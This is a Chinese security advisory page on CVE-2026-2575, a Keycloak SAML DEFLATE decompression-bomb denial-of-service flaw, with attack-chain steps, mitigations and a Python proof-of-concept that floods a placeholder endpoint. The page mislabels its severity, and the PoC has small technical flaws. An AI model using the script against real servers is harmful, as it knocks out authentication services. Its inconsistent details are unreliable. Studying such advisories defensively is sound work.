IPBUF安全漏洞报告
English
CVE-2026-2575 CVSS 5.3 中危

CVE-2026-2575: Keycloak SAML DEFLATE解压拒绝服务漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-2575
漏洞类型
拒绝服务/内存耗尽
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

Keycloak拒绝服务DEFLATE解压SAML内存耗尽CVE-2026-2575身份认证OOMRed Hat

漏洞概述

CVE-2026-2575是影响Keycloak身份认证服务器的一个高危拒绝服务漏洞。该漏洞允许未经认证的远程攻击者通过发送特制的高度压缩SAMLRequest,利用SAML Redirect Binding机制触发服务器资源耗尽。攻击者利用DEFLATE压缩算法的特性,在解压过程中产生远超原始数据大小的输出,导致服务器内存耗尽(OutOfMemoryError),最终造成进程终止和服务不可用。由于攻击无需认证且利用难度较低,任何可访问Keycloak SAML端点的攻击者均可发起此攻击,对使用Keycloak进行身份认证的企业应用造成严重影响。该漏洞属于应用程序级别的DoS攻击,与传统的网络层DoS不同,更难被常规防护设备检测和拦截。

技术细节

该漏洞源于Keycloak在处理SAML Redirect Binding时对SAMLRequest参数缺乏有效的输入验证和资源限制。当用户通过SAML Redirect Binding发起认证时,SAMLRequest参数使用DEFLATE算法压缩并Base64编码后附加在URL中。服务器接收到请求后会进行解压缩处理,但未对解压后的数据大小设置上限。攻击者可构造一个高度压缩的SAMLRequest,使原始数十MB的数据压缩至几KB,但在解压时膨胀数百倍。当多个并发请求到达时,服务器堆内存迅速被消耗殆尽,触发JVM的OutOfMemoryError。值得注意的是,DEFLATE算法允许使用滑动窗口和重复引用机制,理论上可实现超过10000:1的压缩比,这使得攻击者可以用极小的请求耗尽大量服务器内存。攻击者可通过持续发送此类请求,实现对服务的完全拒绝服务攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标环境使用的Keycloak版本,确认SAML Redirect Binding端点可访问
STEP 2
步骤2: 构造恶意请求
攻击者构造包含大量重复数据的SAML XML文档,使用DEFLATE算法进行极限压缩,生成极小体积但解压后巨大的恶意SAMLRequest
STEP 3
步骤3: 发送攻击请求
通过HTTP GET请求将压缩后的SAMLRequest作为查询参数发送到Keycloak的SAML端点
STEP 4
步骤4: 触发解压
Keycloak服务器接收到请求后执行DEFLATE解压操作,将小体积数据还原为超大体积数据,消耗大量堆内存
STEP 5
步骤5: 内存耗尽
当并发请求达到一定数量时,服务器JVM堆内存被耗尽,触发OutOfMemoryError
STEP 6
步骤6: 服务终止
Keycloak进程因未捕获的OOM异常而崩溃或被JVM终止,导致所有依赖该服务的应用无法进行身份认证

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import zlib import requests import time # Generate highly compressed SAMLRequest for DoS attack def generate_compressed_saml_request(): # Create a SAMLRequest with repeated patterns to achieve high compression ratio # Using DEFLATE compression which allows extreme compression with repeated data large_data = '<samlp:AuthnRequest' + 'A' * 100000 + '</samlp:AuthnRequest>' * 100 compressed = zlib.compress(large_data.encode(), level=9) encoded = base64.b64encode(compressed).decode() return encoded # Target Keycloak SAML endpoint TARGET_URL = 'https://vulnerable-keycloak.com/auth/realms/{realm}/protocol/saml' REALM = 'your-realm' def exploit(): compressed_request = generate_compressed_saml_request() params = {'SAMLRequest': compressed_request} print(f'[*] Sending compressed SAMLRequest to {TARGET_URL}') print(f'[*] Compressed size: {len(compressed_request)} bytes') try: response = requests.get(TARGET_URL, params=params, timeout=10, verify=False) print(f'[*] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[!] Request failed: {e}') if __name__ == '__main__': exploit()

影响范围

Keycloak < 25.0.0
Keycloak < 24.0.5
Keycloak < 23.0.5

防御指南

临时缓解措施
在等待官方补丁期间,可采取以下临时缓解措施:1) 在反向代理或API网关层限制SAMLRequest参数大小;2) 启用Keycloak的请求超时和连接限制;3) 监控服务器内存使用情况,设置OOM预警;4) 如业务允许,暂时禁用SAML Redirect Binding,仅使用SAML POST Binding;5) 使用WAF规则过滤异常大的Base64编码请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表